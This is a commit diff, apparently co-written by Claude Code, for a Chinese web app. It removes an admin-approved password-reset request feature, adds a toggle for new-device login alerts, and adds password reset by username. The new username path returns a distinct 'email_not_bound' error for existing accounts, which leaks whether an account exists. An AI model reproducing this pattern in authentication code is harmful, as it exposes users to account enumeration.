feat: 安全增强 + 删除密码重置申请功能 + 登录提醒开关

安全增强:
- 新增 SSRF、XXE、模板注入、敏感路径探测检测规则
- security/constants.py: 添加新的威胁类型和检测模式
- security/threat_detector.py: 实现新检测逻辑

删除密码重置申请功能:
- 移除 /api/password_resets 相关API
- 删除 password_reset_requests 数据库表
- 前端移除密码重置申请页面和菜单
- 用户只能通过邮��找回密码，未绑定邮箱需联系管理员

登录提醒全局开关:
- email_service.py: 添加 login_alert_enabled 字段
- routes/api_auth.py: 检查开关状态再发送登录提醒
- EmailPage.vue: 添加新设备登录提醒开关

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

admin-frontend/src/api/passwordResets.js

@@ -1,17 +0,0 @@
-import { api } from './client'
-
-export async function fetchPasswordResets() {
-  const { data } = await api.get('/password_resets')
-  return data
-}
-
-export async function approvePasswordReset(requestId) {
-  const { data } = await api.post(`/password_resets/${requestId}/approve`)
-  return data
-}
-
-export async function rejectPasswordReset(requestId) {
-  const { data } = await api.post(`/password_resets/${requestId}/reject`)
-  return data
-}
-

admin-frontend/src/layouts/AdminLayout.vue

@@ -16,7 +16,6 @@ import {
 
 import { api } from '../api/client'
 import { fetchFeedbackStats } from '../api/feedbacks'
-import { fetchPasswordResets } from '../api/passwordResets'
 import { fetchSystemStats } from '../api/stats'
 
 const route = useRoute()
@@ -34,15 +33,11 @@ async function refreshStats() {
 }
 
 const loadingBadges = ref(false)
-const pendingResetsCount = ref(0)
 const pendingFeedbackCount = ref(0)
 let badgeTimer
 
 async function refreshNavBadges(partial = null) {
   if (partial && typeof partial === 'object') {
-    if (Object.prototype.hasOwnProperty.call(partial, 'pendingResets')) {
-      pendingResetsCount.value = Number(partial.pendingResets || 0)
-    }
     if (Object.prototype.hasOwnProperty.call(partial, 'pendingFeedbacks')) {
       pendingFeedbackCount.value = Number(partial.pendingFeedbacks || 0)
     }
@@ -53,18 +48,8 @@ async function refreshNavBadges(partial = null) {
   loadingBadges.value = true
 
   try {
-    const [resetsResult, feedbackResult] = await Promise.allSettled([
-      fetchPasswordResets(),
-      fetchFeedbackStats(),
-    ])
-
-    if (resetsResult.status === 'fulfilled') {
-      pendingResetsCount.value = Array.isArray(resetsResult.value) ? resetsResult.value.length : 0
-    }
-
-    if (feedbackResult.status === 'fulfilled') {
-      pendingFeedbackCount.value = Number(feedbackResult.value?.pending || 0)
-    }
+    const feedbackResult = await fetchFeedbackStats()
+    pendingFeedbackCount.value = Number(feedbackResult?.pending || 0)
   } finally {
     loadingBadges.value = false
   }
@@ -100,7 +85,7 @@ onBeforeUnmount(() => {
 
 const menuItems = [
   { path: '/reports', label: '报表', icon: Document },
-  { path: '/users', label: '用户', icon: User, badgeKey: 'resets' },
+  { path: '/users', label: '用户', icon: User },
   { path: '/feedbacks', label: '反馈', icon: ChatLineSquare, badgeKey: 'feedbacks' },
   { path: '/logs', label: '任务日志', icon: List },
   { path: '/announcements', label: '公告', icon: Bell },
@@ -114,7 +99,6 @@ const activeMenu = computed(() => route.path)
 
 function badgeFor(item) {
   if (!item?.badgeKey) return 0
-  if (item.badgeKey === 'resets') return Number(pendingResetsCount.value || 0)
   if (item.badgeKey === 'feedbacks') {
     return Number(pendingFeedbackCount.value || 0)
   }

admin-frontend/src/pages/EmailPage.vue

@@ -21,6 +21,7 @@ const settings = reactive({
   enabled: false,
   failover_enabled: true,
   register_verify_enabled: false,
+  login_alert_enabled: true,
   task_notify_enabled: false,
   base_url: '',
   updated_at: null,
@@ -35,6 +36,7 @@ async function loadEmailSettings() {
     settings.enabled = Boolean(data.enabled)
     settings.failover_enabled = Boolean(data.failover_enabled)
     settings.register_verify_enabled = Boolean(data.register_verify_enabled)
+    settings.login_alert_enabled = data.login_alert_enabled === undefined ? true : Boolean(data.login_alert_enabled)
     settings.task_notify_enabled = Boolean(data.task_notify_enabled)
     settings.base_url = data.base_url || ''
     settings.updated_at = data.updated_at || null
@@ -53,6 +55,7 @@ async function saveEmailSettings() {
       enabled: settings.enabled,
       failover_enabled: settings.failover_enabled,
       register_verify_enabled: settings.register_verify_enabled,
+      login_alert_enabled: settings.login_alert_enabled,
       task_notify_enabled: settings.task_notify_enabled,
       base_url: (settings.base_url || '').trim(),
     })
@@ -597,6 +600,8 @@ onMounted(refreshAll)
             @change="scheduleSaveEmailSettings"
           />
         </el-form-item>
+
+        <el-divider content-position="left">通知设置</el-divider>
         <el-form-item label="启用任务完成通知">
           <el-switch
             v-model="settings.task_notify_enabled"
@@ -604,6 +609,14 @@ onMounted(refreshAll)
             @change="scheduleSaveEmailSettings"
           />
         </el-form-item>
+        <el-form-item label="新设备登录提醒">
+          <el-switch
+            v-model="settings.login_alert_enabled"
+            :disabled="emailSettingsSaving"
+            @change="scheduleSaveEmailSettings"
+          />
+          <div class="help">当检测到新设备或新IP登录时，发送邮件提醒用户</div>
+        </el-form-item>
         <el-form-item label="网站基础URL">
           <el-input
             v-model="settings.base_url"

admin-frontend/src/pages/ReportPage.vue

@@ -6,7 +6,6 @@ import {
   Clock,
   Cpu,
   Key,
-  Lock,
   Loading,
   Message,
   Star,
@@ -18,14 +17,12 @@ import {
 
 import { fetchFeedbackStats } from '../api/feedbacks'
 import { fetchEmailStats } from '../api/email'
-import { fetchPasswordResets } from '../api/passwordResets'
 import { fetchDockerStats, fetchRunningTasks, fetchServerInfo, fetchTaskStats } from '../api/tasks'
 import { fetchSystemConfig } from '../api/system'
 import { fetchUpdateResult, fetchUpdateStatus } from '../api/update'
 
 const refreshStats = inject('refreshStats', null)
 const adminStats = inject('adminStats', null)
-const refreshNavBadges = inject('refreshNavBadges', null)
 
 const loading = ref(false)
 const lastUpdatedAt = ref('')
@@ -40,7 +37,6 @@ const systemConfig = ref(null)
 const updateStatus = ref(null)
 const updateStatusError = ref('')
 const updateResult = ref(null)
-const passwordResetsCount = ref(0)
 const queueTab = ref('running')
 
 function recordUpdatedAt() {
@@ -101,7 +97,6 @@ const overviewCards = computed(() => {
       sub: liveMax ? `并发上限 ${liveMax}` : '',
     },
     { label: '排队任务', value: normalizeCount(runningTasks.value?.queuing_count), icon: Clock, tone: 'purple' },
-    { label: '密码重置待处理', value: normalizeCount(passwordResetsCount.value), icon: Lock, tone: 'red' },
   ]
 })
 
@@ -172,7 +167,6 @@ async function refreshAll() {
       runningResult,
       emailResult,
       feedbackResult,
-      resetsResult,
       serverResult,
       dockerResult,
       configResult,
@@ -183,7 +177,6 @@ async function refreshAll() {
       fetchRunningTasks(),
       fetchEmailStats(),
       fetchFeedbackStats(),
-      fetchPasswordResets(),
       fetchServerInfo(),
       fetchDockerStats(),
       fetchSystemConfig(),
@@ -195,7 +188,6 @@ async function refreshAll() {
     runningTasks.value = runningResult.status === 'fulfilled' ? runningResult.value : null
     emailStats.value = emailResult.status === 'fulfilled' ? emailResult.value : null
     feedbackStats.value = feedbackResult.status === 'fulfilled' ? feedbackResult.value : null
-    passwordResetsCount.value = resetsResult.status === 'fulfilled' ? (Array.isArray(resetsResult.value) ? resetsResult.value.length : 0) : 0
     serverInfo.value = serverResult.status === 'fulfilled' ? serverResult.value : null
     dockerStats.value = dockerResult.status === 'fulfilled' ? dockerResult.value : null
     systemConfig.value = configResult.status === 'fulfilled' ? configResult.value : null
@@ -216,7 +208,6 @@ async function refreshAll() {
 
     updateResult.value = updateResultResult.status === 'fulfilled' && updateResultResult.value?.ok ? updateResultResult.value.data : null
 
-    await refreshNavBadges?.({ pendingResets: passwordResetsCount.value })
     await refreshStats?.()
     recordUpdatedAt()
   } finally {

admin-frontend/src/pages/UsersPage.vue

@@ -11,19 +11,14 @@ import {
   removeUserVip,
   setUserVip,
 } from '../api/users'
-import { approvePasswordReset, fetchPasswordResets, rejectPasswordReset } from '../api/passwordResets'
 import { parseSqliteDateTime } from '../utils/datetime'
 import { validatePasswordStrength } from '../utils/password'
 
 const refreshStats = inject('refreshStats', null)
-const refreshNavBadges = inject('refreshNavBadges', null)
 
 const loading = ref(false)
 const users = ref([])
 
-const resetLoading = ref(false)
-const passwordResets = ref([])
-
 function isVip(user) {
   const expire = user?.vip_expire_time
   if (!expire) return false
@@ -58,21 +53,8 @@ async function loadUsers() {
   }
 }
 
-async function loadResets() {
-  resetLoading.value = true
-  try {
-    const list = await fetchPasswordResets()
-    passwordResets.value = Array.isArray(list) ? list : []
-  } catch {
-    passwordResets.value = []
-  } finally {
-    resetLoading.value = false
-  }
-}
-
 async function refreshAll() {
-  await Promise.all([loadUsers(), loadResets()])
-  await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
+  await loadUsers()
 }
 
 async function onEnableUser(row) {
@@ -117,48 +99,6 @@ async function onDisableUser(row) {
   }
 }
 
-async function onApproveReset(row) {
-  try {
-    await ElMessageBox.confirm(`确定批准「${row.username}」的密码重置申请吗？`, '批准重置', {
-      confirmButtonText: '批准',
-      cancelButtonText: '取消',
-      type: 'success',
-    })
-  } catch {
-    return
-  }
-
-  try {
-    const res = await approvePasswordReset(row.id)
-    ElMessage.success(res?.message || '密码重置申请已批准')
-    await loadResets()
-    await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
-  } catch {
-    // handled by interceptor
-  }
-}
-
-async function onRejectReset(row) {
-  try {
-    await ElMessageBox.confirm(`确定拒绝「${row.username}」的密码重置申请吗？`, '拒绝重置', {
-      confirmButtonText: '拒绝',
-      cancelButtonText: '取消',
-      type: 'warning',
-    })
-  } catch {
-    return
-  }
-
-  try {
-    const res = await rejectPasswordReset(row.id)
-    ElMessage.success(res?.message || '密码重置申请已拒绝')
-    await loadResets()
-    await refreshNavBadges?.({ pendingResets: passwordResets.value.length })
-  } catch {
-    // handled by interceptor
-  }
-}
-
 async function onDelete(row) {
   try {
     await ElMessageBox.confirm(
@@ -338,27 +278,6 @@ onMounted(refreshAll)
         </el-table>
       </div>
     </el-card>
-
-    <el-card shadow="never" :body-style="{ padding: '16px' }" class="card">
-      <h3 class="section-title">密码重置申请</h3>
-      <div class="table-wrap">
-        <el-table :data="passwordResets" v-loading="resetLoading" style="width: 100%">
-          <el-table-column prop="id" label="申请ID" width="90" />
-          <el-table-column prop="username" label="用户名" min-width="200" />
-          <el-table-column prop="email" label="邮箱" min-width="220">
-            <template #default="{ row }">{{ row.email || '-' }}</template>
-          </el-table-column>
-          <el-table-column prop="created_at" label="申请时间" min-width="180" />
-          <el-table-column label="操作" width="180" fixed="right">
-            <template #default="{ row }">
-              <el-button type="success" size="small" @click="onApproveReset(row)">批准</el-button>
-              <el-button type="danger" size="small" @click="onRejectReset(row)">拒绝</el-button>
-            </template>
-          </el-table-column>
-        </el-table>
-      </div>
-      <div class="help app-muted">当未启用邮件找回密码时，用户会提交申请，由管理员在此处处理。</div>
-    </el-card>
   </div>
 </template>
 

app-frontend/src/api/auth.js

@@ -30,11 +30,6 @@ export async function forgotPassword(payload) {
   return data
 }
 
-export async function requestPasswordReset(payload) {
-  const { data } = await publicApi.post('/reset_password_request', payload)
-  return data
-}
-
 export async function confirmPasswordReset(payload) {
   const { data } = await publicApi.post('/reset-password-confirm', payload)
   return data

app-frontend/src/pages/LoginPage.vue

@@ -8,10 +8,8 @@ import {
   forgotPassword,
   generateCaptcha,
   login,
-  requestPasswordReset,
   resendVerifyEmail,
 } from '../api/auth'
-import { validateStrongPassword } from '../utils/password'
 
 const router = useRouter()
 
@@ -32,20 +30,14 @@ const registerVerifyEnabled = ref(false)
 const forgotOpen = ref(false)
 const resendOpen = ref(false)
 
-const emailResetForm = reactive({
-  email: '',
+const forgotForm = reactive({
+  username: '',
   captcha: '',
 })
-const emailResetCaptchaImage = ref('')
-const emailResetCaptchaSession = ref('')
-const emailResetLoading = ref(false)
-
-const manualResetForm = reactive({
-  username: '',
-  email: '',
-  new_password: '',
-})
-const manualResetLoading = ref(false)
+const forgotCaptchaImage = ref('')
+const forgotCaptchaSession = ref('')
+const forgotLoading = ref(false)
+const forgotHint = ref('')
 
 const resendForm = reactive({
   email: '',
@@ -72,12 +64,12 @@ async function refreshLoginCaptcha() {
 async function refreshEmailResetCaptcha() {
   try {
     const data = await generateCaptcha()
-    emailResetCaptchaSession.value = data?.session_id || ''
-    emailResetCaptchaImage.value = data?.captcha_image || ''
-    emailResetForm.captcha = ''
+    forgotCaptchaSession.value = data?.session_id || ''
+    forgotCaptchaImage.value = data?.captcha_image || ''
+    forgotForm.captcha = ''
   } catch {
-    emailResetCaptchaSession.value = ''
-    emailResetCaptchaImage.value = ''
+    forgotCaptchaSession.value = ''
+    forgotCaptchaImage.value = ''
   }
 }
 
@@ -136,36 +128,38 @@ async function onSubmit() {
 
 async function openForgot() {
   forgotOpen.value = true
-
+  forgotHint.value = ''
+  forgotForm.username = ''
+  forgotForm.captcha = ''
   if (emailEnabled.value) {
-    emailResetForm.email = ''
-    emailResetForm.captcha = ''
     await refreshEmailResetCaptcha()
-  } else {
-    manualResetForm.username = ''
-    manualResetForm.email = ''
-    manualResetForm.new_password = ''
   }
 }
 
 async function submitForgot() {
-  if (emailEnabled.value) {
-    const email = emailResetForm.email.trim()
-    if (!email) {
-      ElMessage.error('请输入邮箱')
+  forgotHint.value = ''
+
+  if (!emailEnabled.value) {
+    ElMessage.warning('邮件功能未启用，请联系管理员重置密码。')
     return
   }
-    if (!emailResetForm.captcha.trim()) {
+
+  const username = forgotForm.username.trim()
+  if (!username) {
+    ElMessage.error('请输入用户名')
+    return
+  }
+  if (!forgotForm.captcha.trim()) {
     ElMessage.error('请输入验证码')
     return
   }
 
-    emailResetLoading.value = true
+  forgotLoading.value = true
   try {
     const res = await forgotPassword({
-        email,
-        captcha_session: emailResetCaptchaSession.value,
-        captcha: emailResetForm.captcha.trim(),
+      username,
+      captcha_session: forgotCaptchaSession.value,
+      captcha: forgotForm.captcha.trim(),
     })
     ElMessage.success(res?.message || '已发送重置邮件')
     setTimeout(() => {
@@ -173,43 +167,15 @@ async function submitForgot() {
     }, 800)
   } catch (e) {
     const data = e?.response?.data
-      ElMessage.error(data?.error || '发送失败')
+    const message = data?.error || '发送失败'
+    if (data?.code === 'email_not_bound') {
+      forgotHint.value = message
+    } else {
+      ElMessage.error(message)
+    }
     await refreshEmailResetCaptcha()
   } finally {
-      emailResetLoading.value = false
-    }
-    return
-  }
-
-  const username = manualResetForm.username.trim()
-  const newPassword = manualResetForm.new_password
-  if (!username || !newPassword) {
-    ElMessage.error('用户名和新密码不能为空')
-    return
-  }
-
-  const check = validateStrongPassword(newPassword)
-  if (!check.ok) {
-    ElMessage.error(check.message)
-    return
-  }
-
-  manualResetLoading.value = true
-  try {
-    await requestPasswordReset({
-      username,
-      email: manualResetForm.email.trim(),
-      new_password: newPassword,
-    })
-    ElMessage.success('申请已提交，请等待审核')
-    setTimeout(() => {
-      forgotOpen.value = false
-    }, 800)
-  } catch (e) {
-    const data = e?.response?.data
-    ElMessage.error(data?.error || '提交失败')
-  } finally {
-    manualResetLoading.value = false
+    forgotLoading.value = false
   }
 }
 
@@ -320,19 +286,42 @@ onMounted(async () => {
     </el-card>
 
     <el-dialog v-model="forgotOpen" title="找回密码" width="min(560px, 92vw)">
-      <template v-if="emailEnabled">
-        <el-alert type="info" :closable="false" title="输入注册邮箱，我们将发送重置链接。" show-icon />
+      <el-alert
+        v-if="!emailEnabled"
+        type="warning"
+        :closable="false"
+        title="邮件功能未启用"
+        description="无法通过邮箱找回密码，请联系管理员重置密码。"
+        show-icon
+      />
+      <el-alert
+        v-else
+        type="info"
+        :closable="false"
+        title="通过邮箱找回密码"
+        description="输入用户名并完成验证码，我们将向该账号绑定的邮箱发送重置链接。"
+        show-icon
+      />
+      <el-alert
+        v-if="forgotHint"
+        type="warning"
+        :closable="false"
+        title="无法通过邮箱找回密码"
+        :description="forgotHint"
+        show-icon
+        class="alert"
+      />
       <el-form label-position="top" class="dialog-form">
-          <el-form-item label="邮箱">
-            <el-input v-model="emailResetForm.email" placeholder="name@example.com" />
+        <el-form-item label="用户名">
+          <el-input v-model="forgotForm.username" placeholder="请输入用户名" />
         </el-form-item>
         <el-form-item label="验证码">
           <div class="captcha-row">
-              <el-input v-model="emailResetForm.captcha" placeholder="请输入验证码" />
+            <el-input v-model="forgotForm.captcha" placeholder="请输入验证码" />
             <img
-                v-if="emailResetCaptchaImage"
+              v-if="forgotCaptchaImage"
               class="captcha-img"
-                :src="emailResetCaptchaImage"
+              :src="forgotCaptchaImage"
               alt="验证码"
               title="点击刷新"
               @click="refreshEmailResetCaptcha"
@@ -341,30 +330,11 @@ onMounted(async () => {
           </div>
         </el-form-item>
       </el-form>
-      </template>
-      <template v-else>
-        <el-alert type="warning" :closable="false" title="邮件功能未启用：提交申请后等待管理员审核。" show-icon />
-        <el-form label-position="top" class="dialog-form">
-          <el-form-item label="用户名">
-            <el-input v-model="manualResetForm.username" placeholder="请输入用户名" />
-          </el-form-item>
-          <el-form-item label="邮箱（可选）">
-            <el-input v-model="manualResetForm.email" placeholder="可选填写邮箱" />
-          </el-form-item>
-          <el-form-item label="新密码（至少8位且包含字母和数字）">
-            <el-input v-model="manualResetForm.new_password" type="password" show-password placeholder="请输入新密码" />
-          </el-form-item>
-        </el-form>
-      </template>
 
       <template #footer>
         <el-button @click="forgotOpen = false">取消</el-button>
-        <el-button
-          type="primary"
-          :loading="emailEnabled ? emailResetLoading : manualResetLoading"
-          @click="submitForgot"
-        >
-          {{ emailEnabled ? '发送重置邮件' : '提交申请' }}
+        <el-button type="primary" :loading="forgotLoading" :disabled="!emailEnabled" @click="submitForgot">
+          发送重置邮件
         </el-button>
       </template>
     </el-dialog>

database.py

@@ -24,15 +24,11 @@ from db.schema import ensure_schema
 from db.migrations import migrate_database as _migrate_database
 from db.admin import (
     admin_reset_user_password,
-    approve_password_reset,
     clean_old_operation_logs,
-    create_password_reset_request,
     ensure_default_admin,
     get_hourly_registration_count,
-    get_pending_password_resets,
     get_system_config_raw as _get_system_config_raw,
     get_system_stats,
-    reject_password_reset,
     update_admin_password,
     update_admin_username,
     update_system_config as _update_system_config,
@@ -121,7 +117,7 @@ config = get_config()
 DB_FILE = config.DB_FILE
 
 # 数据库版本 (用于迁移管理)
-DB_VERSION = 14
+DB_VERSION = 15
 
 
 # ==================== 系统配置缓存（P1 / O-03） ====================

db/admin.py

@@ -287,108 +287,6 @@ def get_hourly_registration_count() -> int:
 # ==================== 密码重置（管理员） ====================
 
 
-def create_password_reset_request(user_id: int, new_password: str):
-    """创建密码重置申请（存储哈希）"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        password_hash = hash_password_bcrypt(new_password)
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                INSERT INTO password_reset_requests (user_id, new_password_hash, status, created_at)
-                VALUES (?, ?, 'pending', ?)
-                """,
-                (user_id, password_hash, cst_time),
-            )
-            conn.commit()
-            return cursor.lastrowid
-        except Exception as e:
-            print(f"创建密码重置申请失败: {e}")
-            return None
-
-
-def get_pending_password_resets():
-    """获取待审核的密码重置申请列表"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cursor.execute(
-            """
-            SELECT r.id, r.user_id, r.created_at, r.status,
-                   u.username, u.email
-            FROM password_reset_requests r
-            JOIN users u ON r.user_id = u.id
-            WHERE r.status = 'pending'
-            ORDER BY r.created_at DESC
-            """
-        )
-        return [dict(row) for row in cursor.fetchall()]
-
-
-def approve_password_reset(request_id: int) -> bool:
-    """批准密码重置申请"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                SELECT user_id, new_password_hash
-                FROM password_reset_requests
-                WHERE id = ? AND status = 'pending'
-                """,
-                (request_id,),
-            )
-
-            result = cursor.fetchone()
-            if not result:
-                return False
-
-            user_id = result["user_id"]
-            new_password_hash = result["new_password_hash"]
-
-            cursor.execute("UPDATE users SET password_hash = ? WHERE id = ?", (new_password_hash, user_id))
-
-            cursor.execute(
-                """
-                UPDATE password_reset_requests
-                SET status = 'approved', processed_at = ?
-                WHERE id = ?
-                """,
-                (cst_time, request_id),
-            )
-
-            conn.commit()
-            return True
-        except Exception as e:
-            print(f"批准密码重置失败: {e}")
-            return False
-
-
-def reject_password_reset(request_id: int) -> bool:
-    """拒绝密码重置申请"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                UPDATE password_reset_requests
-                SET status = 'rejected', processed_at = ?
-                WHERE id = ? AND status = 'pending'
-                """,
-                (cst_time, request_id),
-            )
-            conn.commit()
-            return cursor.rowcount > 0
-        except Exception as e:
-            print(f"拒绝密码重置失败: {e}")
-            return False
-
-
 def admin_reset_user_password(user_id: int, new_password: str) -> bool:
     """管理员直接重置用户密码"""
     with db_pool.get_db() as conn:

db/migrations.py

@@ -78,6 +78,9 @@ def migrate_database(conn, target_version: int) -> None:
     if current_version < 14:
         _migrate_to_v14(conn)
         current_version = 14
+    if current_version < 15:
+        _migrate_to_v15(conn)
+        current_version = 15
 
     if current_version != int(target_version):
         set_current_version(conn, int(target_version))
@@ -639,3 +642,33 @@ def _migrate_to_v14(conn):
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
 
     conn.commit()
+
+
+def _migrate_to_v15(conn):
+    """迁移到版本15 - 邮件设置：新设备登录提醒全局开关"""
+    cursor = conn.cursor()
+
+    cursor.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='email_settings'")
+    if not cursor.fetchone():
+        # 邮件表由 email_service.init_email_tables 创建；此处仅做增量字段迁移
+        return
+
+    cursor.execute("PRAGMA table_info(email_settings)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    changed = False
+    if "login_alert_enabled" not in columns:
+        cursor.execute("ALTER TABLE email_settings ADD COLUMN login_alert_enabled INTEGER DEFAULT 1")
+        print("  ✓ 添加 email_settings.login_alert_enabled 字段")
+        changed = True
+
+    try:
+        cursor.execute("UPDATE email_settings SET login_alert_enabled = 1 WHERE login_alert_enabled IS NULL")
+        if cursor.rowcount:
+            changed = True
+    except sqlite3.OperationalError:
+        # 列不存在等情况由上方迁移兜底；不阻断主流程
+        pass
+
+    if changed:
+        conn.commit()

db/schema.py

@@ -239,21 +239,6 @@ def ensure_schema(conn) -> None:
         """
     )
 
-    # 密码重置申请表
-    cursor.execute(
-        """
-        CREATE TABLE IF NOT EXISTS password_reset_requests (
-            id INTEGER PRIMARY KEY AUTOINCREMENT,
-            user_id INTEGER NOT NULL,
-            new_password_hash TEXT NOT NULL,
-            status TEXT NOT NULL DEFAULT 'pending',
-            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
-            processed_at TIMESTAMP,
-            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
-        )
-        """
-    )
-
     # 数据库版本表
     cursor.execute(
         """
@@ -394,9 +379,6 @@ def ensure_schema(conn) -> None:
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_created_at ON task_logs(created_at)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_user_date ON task_logs(user_id, created_at)")
 
-    cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_status ON password_reset_requests(status)")
-    cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_user_id ON password_reset_requests(user_id)")
-
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_user_id ON bug_feedbacks(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_status ON bug_feedbacks(status)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_created_at ON bug_feedbacks(created_at)")

email_service.py

@@ -154,6 +154,7 @@ def init_email_tables():
                 enabled INTEGER DEFAULT 0,
                 failover_enabled INTEGER DEFAULT 1,
                 register_verify_enabled INTEGER DEFAULT 0,
+                login_alert_enabled INTEGER DEFAULT 1,
                 task_notify_enabled INTEGER DEFAULT 0,
                 base_url TEXT DEFAULT '',
                 updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
@@ -244,8 +245,8 @@ def get_email_settings() -> Dict[str, Any]:
     with db_pool.get_db() as conn:
         cursor = conn.cursor()
         cursor.execute("""
-            SELECT enabled, failover_enabled, register_verify_enabled, base_url,
-                   task_notify_enabled, updated_at
+            SELECT enabled, failover_enabled, register_verify_enabled, login_alert_enabled,
+                   base_url, task_notify_enabled, updated_at
             FROM email_settings WHERE id = 1
         """)
         row = cursor.fetchone()
@@ -254,14 +255,16 @@ def get_email_settings() -> Dict[str, Any]:
                 'enabled': bool(row[0]),
                 'failover_enabled': bool(row[1]),
                 'register_verify_enabled': bool(row[2]) if row[2] is not None else False,
-                'base_url': row[3] or '',
-                'task_notify_enabled': bool(row[4]) if row[4] is not None else False,
-                'updated_at': row[5]
+                'login_alert_enabled': bool(row[3]) if row[3] is not None else True,
+                'base_url': row[4] or '',
+                'task_notify_enabled': bool(row[5]) if row[5] is not None else False,
+                'updated_at': row[6]
             }
         return {
             'enabled': False,
             'failover_enabled': True,
             'register_verify_enabled': False,
+            'login_alert_enabled': True,
             'base_url': '',
             'task_notify_enabled': False,
             'updated_at': None
@@ -272,6 +275,7 @@ def update_email_settings(
     enabled: bool,
     failover_enabled: bool,
     register_verify_enabled: bool = None,
+    login_alert_enabled: bool = None,
     base_url: str = None,
     task_notify_enabled: bool = None
 ) -> bool:
@@ -287,6 +291,10 @@ def update_email_settings(
             updates.append('register_verify_enabled = ?')
             params.append(int(register_verify_enabled))
 
+        if login_alert_enabled is not None:
+            updates.append('login_alert_enabled = ?')
+            params.append(int(login_alert_enabled))
+
         if base_url is not None:
             updates.append('base_url = ?')
             params.append(base_url)

routes/admin_api/core.py

@@ -910,32 +910,6 @@ def admin_reset_password_route(user_id):
     return jsonify({"error": "重置失败，用户不存在"}), 400
 
 
-@admin_api_bp.route("/password_resets", methods=["GET"])
-@admin_required
-def get_password_resets_route():
-    """获取所有待审核的密码重置申请"""
-    resets = database.get_pending_password_resets()
-    return jsonify(resets)
-
-
-@admin_api_bp.route("/password_resets/<int:request_id>/approve", methods=["POST"])
-@admin_required
-def approve_password_reset_route(request_id):
-    """批准密码重置申请"""
-    if database.approve_password_reset(request_id):
-        return jsonify({"message": "密码重置申请已批准"})
-    return jsonify({"error": "批准失败"}), 400
-
-
-@admin_api_bp.route("/password_resets/<int:request_id>/reject", methods=["POST"])
-@admin_required
-def reject_password_reset_route(request_id):
-    """拒绝密码重置申请"""
-    if database.reject_password_reset(request_id):
-        return jsonify({"message": "密码重置申请已拒绝"})
-    return jsonify({"error": "拒绝失败"}), 400
-
-
 @admin_api_bp.route("/feedbacks", methods=["GET"])
 @admin_required
 def get_all_feedbacks():
@@ -1067,6 +1041,7 @@ def update_email_settings_api():
         enabled = data.get("enabled", False)
         failover_enabled = data.get("failover_enabled", True)
         register_verify_enabled = data.get("register_verify_enabled")
+        login_alert_enabled = data.get("login_alert_enabled")
         base_url = data.get("base_url")
         task_notify_enabled = data.get("task_notify_enabled")
 
@@ -1074,6 +1049,7 @@ def update_email_settings_api():
             enabled=enabled,
             failover_enabled=failover_enabled,
             register_verify_enabled=register_verify_enabled,
+            login_alert_enabled=login_alert_enabled,
             base_url=base_url,
             task_notify_enabled=task_notify_enabled,
         )

routes/api_auth.py

@@ -237,12 +237,19 @@ def forgot_password():
     """发送密码重置邮件"""
     data = request.json or {}
     email = data.get("email", "").strip().lower()
+    username = data.get("username", "").strip()
     captcha_session = data.get("captcha_session", "")
     captcha_code = data.get("captcha", "").strip()
 
-    if not email:
-        return jsonify({"error": "请输入邮箱"}), 400
+    if not email and not username:
+        return jsonify({"error": "请输入邮箱或用户名"}), 400
 
+    if username:
+        is_valid, error_msg = validate_username(username)
+        if not is_valid:
+            return jsonify({"error": error_msg}), 400
+
+    if email:
         is_valid, error_msg = validate_email(email)
         if not is_valid:
             return jsonify({"error": error_msg}), 400
@@ -251,6 +258,7 @@ def forgot_password():
     allowed, error_msg = check_ip_request_rate(client_ip, "email")
     if not allowed:
         return jsonify({"error": error_msg}), 429
+    if email:
         allowed, error_msg = check_email_rate_limit(email, "forgot_password")
         if not allowed:
             return jsonify({"error": error_msg}), 429
@@ -266,6 +274,34 @@ def forgot_password():
     if not email_settings.get("enabled", False):
         return jsonify({"error": "邮件功能未启用，请联系管理员"}), 400
 
+    if username:
+        user = database.get_user_by_username(username)
+        if user and user.get("status") == "approved":
+            bound_email = (user.get("email") or "").strip()
+            if not bound_email:
+                return (
+                    jsonify(
+                        {
+                            "error": "您尚未绑定邮箱，无法通过邮箱找回密码。请联系管理员重置密码。",
+                            "code": "email_not_bound",
+                        }
+                    ),
+                    400,
+                )
+
+            allowed, error_msg = check_email_rate_limit(bound_email, "forgot_password")
+            if not allowed:
+                return jsonify({"error": error_msg}), 429
+
+            result = email_service.send_password_reset_email(
+                email=bound_email,
+                username=user["username"],
+                user_id=user["id"],
+            )
+            if not result["success"]:
+                logger.error(f"密码重置邮件发送失败: {result['error']}")
+        return jsonify({"success": True, "message": "如果该账号已绑定邮箱，您将收到密码重置邮件"})
+
     user = database.get_user_by_email(email)
     if user and user.get("status") == "approved":
         result = email_service.send_password_reset_email(email=email, username=user["username"], user_id=user["id"])
@@ -317,46 +353,6 @@ def reset_password_confirm():
     return jsonify({"error": "密码重置失败"}), 500
 
 
-@api_auth_bp.route("/api/reset_password_request", methods=["POST"])
-def request_password_reset():
-    """用户申请重置密码（需要审核）"""
-    data = request.json or {}
-    username = data.get("username", "").strip()
-    email = data.get("email", "").strip().lower()
-    new_password = data.get("new_password", "").strip()
-
-    if not username or not new_password:
